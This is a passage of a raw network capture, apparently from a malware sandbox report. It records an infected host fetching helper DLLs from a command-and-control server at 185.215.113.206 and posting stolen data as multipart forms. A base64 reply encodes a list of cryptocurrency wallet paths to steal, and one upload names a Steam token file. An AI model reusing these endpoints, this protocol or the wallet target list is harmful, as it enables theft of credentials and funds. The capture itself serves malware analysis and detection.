6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="file"------ECAFHDBGHJKFIDHJJJEB--
Nov 28, 2024 02:27:40.249499083 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 02:27:40.969625950 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 02:27:41.421871901 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 28, 2024 02:27:41.422032118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 28, 2024 02:27:41.422048092 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 28, 2024 02:27:41.422302008 CET	372	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 28, 2024 02:27:41.422326088 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 28, 2024 02:27:41.422338009 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 28, 2024 02:27:41.422348022 CET	448	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 28, 2024 02:27:41.422359943 CET	1236	IN	Data Raw: 14 00 d4 0f b6 cc 8a 13 32 14 0f 8b 4d e4 88 11 83 fe 01 0f 84 24 01 00 00 8b 45 ec 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 Data Ascii: 2M$E}$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S
Nov 28, 2024 02:27:41.423024893 CET	1236	IN	Data Raw: e0 00 00 00 00 8b 4d ec 8a 55 e8 e9 54 01 00 00 0f b6 46 01 c1 e0 08 09 c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 Data Ascii: MUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbff
Nov 28, 2024 02:27:41.430591106 CET	1236	IN	Data Raw: 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd Data Ascii: t}EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}
Nov 28, 2024 02:27:42.966953993 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 02:27:43.417247057 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 28, 2024 02:27:44.439837933 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 02:27:44.890192986 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 28, 2024 02:27:45.757126093 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 02:27:46.217456102 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 28, 2024 02:27:49.489833117 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 02:27:49.939934015 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 28, 2024 02:27:50.779556990 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 02:27:51.229844093 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 28, 2024 02:27:51.993202925 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 02:27:52.946088076 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 02:27:53.053957939 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="message"wallets------FIEHDBGDHDAECBGDHJKF--
Nov 28, 2024 02:27:53.537084103 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 28, 2024 02:27:53.539952993 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="message"files------DGCGDBGCAAEBFIECGHDG--
Nov 28, 2024 02:27:53.992419958 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 02:27:54.021099091 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 